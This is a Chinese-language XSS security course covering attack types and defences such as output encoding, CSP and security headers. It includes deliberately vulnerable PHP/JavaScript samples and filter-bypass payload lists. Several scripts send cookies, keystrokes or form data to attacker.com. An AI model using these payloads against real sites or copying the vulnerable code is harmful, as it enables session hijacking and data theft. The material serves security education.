XSS 跨站腳本攻擊
網絡安全教學
了解 XSS 漏洞原理、攻擊方式及防護策略
適用於:資訊安全課程、開發人員培訓
⚠️ 重要聲明: 本教材僅供教育用途,請勿用於非法活動
學習目標
完成本課程後,學生將能夠:
- 🎯 理解 XSS 攻擊的基本概念和原理
- 🔍 識別三種主要的 XSS 攻擊類型
- ⚡ 分析 XSS 漏洞的成因和危害
- 🛡️ 掌握有效的 XSS 防護技術
- 💻 認識常見的 XSS 攻擊載荷 (Payload)
- 🔧 實施安全編程最佳實踐
- 📊 進行 XSS 漏洞測試和評估
💡 課程重點: 理論與實踐並重,培養實際的安全防護能力
什麼是 XSS?
Cross-Site Scripting (跨站腳本攻擊)
定義: XSS 是一種注入型攻擊,攻擊者將惡意腳本代碼注入到網站中,當其他用戶瀏覽該網站時,惡意腳本會在用戶瀏覽器中執行。
攻擊流程:
👤 攻擊者 → 📝 注入惡意腳本 → 🌐 網站存儲/反射 → 👥 受害者訪問 → 💻 瀏覽器執行腳本 → 📊 數據竊取
為什麼叫 "跨站"?
- 惡意腳本在受信任的網站上執行
- 利用用戶對網站的信任
- 繞過同源策略的限制
- 在用戶的瀏覽器環境中運行
XSS 攻擊的危害
攻擊類型 |
具體危害 |
🔑 身份竊取 |
竊取 Cookie、Session Token、認證憑證 |
🎭 會話劫持 |
冒充用戶身份,執行未授權操作 |
📱 數據竊取 |
獲取個人信息、財務數據、機密文件 |
🌐 網站篡改 |
修改網頁內容、插入虛假信息 |
🔄 惡意重定向 |
將用戶導向釣魚網站或惡意軟件 |
🦠 蠕蟲傳播 |
在社交網站上自動傳播惡意代碼 |
🚨 真實案例影響:
- 2005年:MySpace 蠕蟲感染超過100萬用戶
- 2008年:Twitter XSS 導致大量用戶受影響
- 2014年:eBay XSS 漏洞影響數百萬用戶
XSS 攻擊類型
類型 |
英文名稱 |
特徵 |
🔄 反射型 |
Reflected XSS |
非持久性,惡意腳本包含在請求中,立即反射回瀏覽器 |
💾 存儲型 |
Stored XSS |
持久性,惡意腳本存儲在服務器,影響所有訪問用戶 |
🌐 DOM型 |
DOM-based XSS |
在客戶端執行,通過修改 DOM 環境實現攻擊 |
危險程度排序:
💾 存儲型 >
🌐 DOM型 >
🔄 反射型
💡 重要提醒: 三種類型的攻擊原理不同,需要不同的防護策略
反射型 XSS (Reflected XSS)
攻擊流程:
1️⃣ 攻擊者構造惡意URL → 2️⃣ 誘導用戶點擊 → 3️⃣ 服務器反射腳本 → 4️⃣ 瀏覽器執行
漏洞代碼示例:
<?php
$search = $_GET['q'];
echo "您搜索的內容:" . $search;
?>
攻擊URL:
http://example.com/search.php?q=<script>alert(document.cookie)</script>
特點:
- 🔄 非持久性:惡意腳本不會存儲在服務器
- 📤 需要誘導:需要誘騙用戶點擊惡意鏈接
- ⚡ 即時執行:點擊後立即觸發攻擊
- 🎯 單次攻擊:通常只影響點擊鏈接的用戶
存儲型 XSS (Stored XSS)
攻擊流程:
1️⃣ 攻擊者提交惡意腳本 → 2️⃣ 服務器存儲腳本 → 3️⃣ 用戶訪問頁面 → 4️⃣ 瀏覽器執行腳本
漏洞代碼示例:
// 評論提交
function saveComment(comment) {
// 直接存儲用戶輸入,未經過濾
database.save("INSERT INTO comments (content) VALUES ('" + comment + "')");
}
// 評論顯示
function displayComments() {
var comments = database.query("SELECT content FROM comments");
document.getElementById('comments').innerHTML = comments;
}
攻擊載荷:
<script>
fetch('http://attacker.com/steal.php?cookie=' + document.cookie);
</script>
特點:
- 💾 持久性:惡意腳本永久存儲在服務器
- 🎯 廣泛影響:影響所有訪問該內容的用戶
- 🔥 最危險:無需用戶主動點擊惡意鏈接
- 📈 傳播快:可能造成大規模用戶受害
DOM型 XSS (DOM-based XSS)
攻擊原理:
完全在客戶端執行,不涉及服務器端代碼,通過修改頁面的 DOM 環境實現攻擊
漏洞代碼示例:
// 從URL獲取參數並直接寫入DOM
var hash = location.hash.substring(1);
document.write(hash);
// 或者
var userInput = getUrlParameter('input');
document.getElementById('output').innerHTML = userInput;
攻擊URL:
http://example.com/page.html#<img src=x onerror=alert('XSS')>
常見觸發點:
- 🔗
location.hash
- URL錨點
- 🔍
location.search
- URL查詢參數
- 📄
document.referrer
- 來源頁面
- 🌐
document.URL
- 當前頁面URL
- 📊
localStorage
/ sessionStorage
- 本地存儲
⚠️ 注意: DOM型XSS可能不會出現在服務器日誌中,更難被檢測
常見 XSS Payload - 基礎測試
🔬 基本測試載荷:
<!-- 最基本的測試 -->
<script>alert('XSS')</script>
<!-- 繞過基礎過濾 -->
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(/XSS/)</script>
<!-- 無需引號的測試 -->
<script>alert(document.domain)</script>
🖼️ HTML 標籤載荷:
<!-- img 標籤 -->
<img src=x onerror=alert('XSS')>
<img src="javascript:alert('XSS')">
<!-- iframe 標籤 -->
<iframe src="javascript:alert('XSS')"></iframe>
<!-- svg 標籤 -->
<svg onload=alert('XSS')>
<!-- body 標籤 -->
<body onload=alert('XSS')>
⚠️ 提醒: 這些載荷僅供學習和測試使用,請勿用於非法攻擊
常見 XSS Payload - 繞過技術
🔄 繞過過濾的載荷:
<!-- 大小寫變換 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 編碼繞過 -->
<script>alert('XSS')</script>
<script>alert('\x58\x53\x53')</script>
<!-- 註釋繞過 -->
<script>/**/alert('XSS')</script>
<!-- 空格和換行 -->
<script
>alert('XSS')</script>
⚡ 事件處理器載荷:
<!-- 鼠標事件 -->
<div onmouseover="alert('XSS')">Hover me</div>
<div onclick="alert('XSS')">Click me</div>
<!-- 鍵盤事件 -->
<input onkeydown="alert('XSS')" autofocus>
<!-- 表單事件 -->
<form><input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
⚠️ 危險的 XSS Payload
🚨 警告: 以下載荷僅供教育用途,展示XSS的實際危害
🍪 Cookie 竊取:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
⌨️ 鍵盤記錄:
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
});
</script>
📄 表單劫持:
<script>
// 修改表單提交地址
document.forms[0].action = 'http://attacker.com/steal.php';
// 或自動創建並提交表單
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://attacker.com/steal.php';
var input = document.createElement('input');
input.name = 'data';
input.value = document.cookie;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
</script>
🛡️ XSS 防護策略
多層防護原則:
1️⃣ 輸入驗證
白名單過濾、長度限制、格式檢查
2️⃣ 輸出編碼
HTML編碼、JavaScript編碼、URL編碼
3️⃣ 內容安全政策 (CSP)
限制腳本來源、內聯腳本控制
4️⃣ HTTP 安全標頭
X-XSS-Protection、X-Content-Type-Options
💡 核心原則: 永不信任用戶輸入,始終進行適當的編碼和驗證
1️⃣ 輸入驗證
🎯 白名單驗證 (推薦):
// PHP 示例
function validateInput($input) {
// 只允許字母、數字和空格
if (!preg_match('/^[a-zA-Z0-9\s]+$/', $input)) {
return false;
}
// 長度限制
if (strlen($input) > 100) {
return false;
}
return true;
}
// JavaScript 示例
function validateInput(input) {
// 移除危險字符
const dangerous = /<script|javascript:|on\w+=/i;
if (dangerous.test(input)) {
return false;
}
// 長度檢查
if (input.length > 1000) {
return false;
}
return true;
}
⚠️ 注意: 黑名單過濾容易被繞過,白名單驗證更安全
2️⃣ 輸出編碼
🔤 HTML 編碼:
// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// JavaScript
function htmlEncode(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 使用 textContent 而不是 innerHTML
element.textContent = userInput; // 安全
element.innerHTML = userInput; // 危險
🔧 JavaScript 編碼:
// PHP JSON 編碼
echo json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP);
// JavaScript
function jsEncode(str) {
return JSON.stringify(str).slice(1, -1);
}
💡 重要: 根據輸出上下文選擇正確的編碼方式
3️⃣ 內容安全政策 (CSP)
🛡️ 基本 CSP 設置:
<!-- 基本 CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">
<!-- 嚴格的 CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
🔐 使用 nonce:
<!-- 只有帶有正確 nonce 的腳本才能執行 -->
<script nonce="random123">
console.log('This script can run');
</script>
📊 CSP 指令說明:
default-src 'self'
- 預設只允許同源內容
script-src 'self'
- 只允許同源腳本
'unsafe-inline'
- 允許內聯腳本(不推薦)
'nonce-xxx'
- 只允許特定 nonce 的腳本
'strict-dynamic'
- 允許可信腳本載入其他腳本
4️⃣ HTTP 安全標頭
# X-XSS-Protection (舊瀏覽器)
X-XSS-Protection: 1; mode=block
# X-Content-Type-Options
X-Content-Type-Options: nosniff
# X-Frame-Options
X-Frame-Options: DENY
# Strict-Transport-Security
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
🔍 標頭說明:
標頭 |
功能 |
X-XSS-Protection |
啟用瀏覽器內建的XSS過濾器 |
X-Content-Type-Options |
防止MIME類型嗅探攻擊 |
X-Frame-Options |
防止點擊劫持攻擊 |
HSTS |
強制使用HTTPS連接 |
🔧 框架層面的防護
⚛️ React 自動轉義:
function App() {
const userInput = '<script>alert("XSS")</script>';
return <div>{userInput}</div>; // 自動轉義,安全
}
// 危險用法
function UnsafeApp() {
const userInput = '<script>alert("XSS")</script>';
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // 危險
}
🖖 Vue.js 自動轉義:
<template>
<div>{{ userInput }}</div> <!-- 自動轉義,安全 -->
<div v-html="userInput"></div> <!-- 不轉義,危險 -->
</template>
🐍 Django/Flask:
# Django 自動轉義
from django.utils.html import escape
safe_output = escape(user_input)
# Flask 使用 Jinja2 自動轉義
render_template_string('{{ user_input }}', user_input=user_input)
💡 提醒: 現代框架通常提供自動XSS防護,但仍需小心使用不安全的API
🧪 XSS 安全測試
🔍 手動測試方法:
- 在所有輸入欄位測試基本XSS載荷
- 測試URL參數、表單欄位、文件上傳
- 檢查錯誤訊息是否會反射用戶輸入
- 測試不同的編碼和繞過技術
- 驗證CSP政策是否有效
🤖 自動化測試工具:
工具 |
特點 |
OWASP ZAP |
免費的Web應用安全掃描器 |
Burp Suite |
專業的Web安全測試平台 |
XSSHunter |
盲目XSS檢測服務 |
w3af |
Web應用攻擊和審計框架 |
⚠️ 重要: 只能在授權的系統上進行安全測試
✅ XSS 防護最佳實踐
🎯 開發階段:
- ✅ 使用參數化查詢和預處理語句
- ✅ 對所有用戶輸入進行驗證和編碼
- ✅ 實施嚴格的CSP政策
- ✅ 使用現代框架的安全特性
- ✅ 定期更新依賴庫和框架
- ✅ 進行代碼審核和安全培訓
🔒 部署階段:
- ✅ 設置適當的HTTP安全標頭
- ✅ 使用HTTPS加密傳輸
- ✅ 實施Web應用防火牆 (WAF)
- ✅ 監控和記錄安全事件
- ✅ 定期進行滲透測試
🔑 記住: 安全是一個持續的過程,需要在整個開發生命週期中持續關注
📚 課程總結
🎓 今天我們學習了:
🔍 理論知識
- XSS攻擊原理
- 三種攻擊類型
- 漏洞成因分析
- 攻擊危害評估
🛡️ 防護技術
- 輸入驗證方法
- 輸出編碼技術
- CSP政策設計
- 安全標頭配置
💡 關鍵要點:
- 永不信任用戶輸入
- 實施多層防護策略
- 使用現代安全框架
- 持續學習和更新知識
🎯 下一步:實踐與應用
將所學知識應用到實際項目中,持續提升安全意識
1 / 0